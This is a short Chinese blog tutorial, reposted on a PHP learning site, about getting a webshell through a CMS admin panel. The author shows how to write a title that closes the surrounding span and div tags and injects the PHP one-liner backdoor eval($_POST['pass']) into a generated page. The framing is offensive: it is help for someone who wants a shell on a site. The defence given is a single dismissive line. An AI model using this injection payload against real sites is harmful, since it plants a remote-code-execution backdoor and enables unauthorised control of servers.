来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] 今天群里一个鸟人丢个后台叫帮忙拿shell。一看是FCK,就各种去弄了...结果无功而返,PHP语言。过程就不说了,不是重点.后来在前台打开各种链接以及配合后台查看发现他的关于我们\招贤纳...
今天群里一个鸟人丢个后台叫帮忙拿shell。一看是FCK,就各种去弄了...结果无功而返,PHP语言。过程就不说了,不是重点.后来在前台打开各种链接以及配合后台查看发现他的关于我们\招贤纳士只能的页面是独立的php页面.这就好办了。写个一句话即可。至于怎么写,我这就扯下。 看代码:
<div id="con660" class="left">
这是他后台能够控制的部分,可以看到,标题和内容都被放在一个DIV里面 就拿标题部分来说吧 <span class="hei">标题</span> 直接写入一句话 将会变成 <span class="hei"><?php @eval($_POST['pass']);?></span> 这样是不能执行成功的,我们要做的,仅仅只是加多一点代码而已,说白了就是想办法脱离这个<span>和<div>的控制。 比如我们把标题写成 </span></div><?php @eval($_POST['pass']);?><span> 这样输出结果就变成 <div><span class="hei"></span></div><?php @eval($_POST['pass']);?><span></span> 这样就可以成功执行我们的代码了.但是今天这个后台标题限制了字数,内容编辑器也被那货搞坏了。就没成功,只能写 </span></div><?php @eval($_POST 于是,我告诉他了,他怀疑了,呵呵,这其实只是一段简单的代码,说白了就等于是注释掉DIV SPAN,和你拿到shell后插一句话后门一个概念 防范:这还是比较少见的思路,大家知道了自然就知道防范了 摘自:han's blog |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com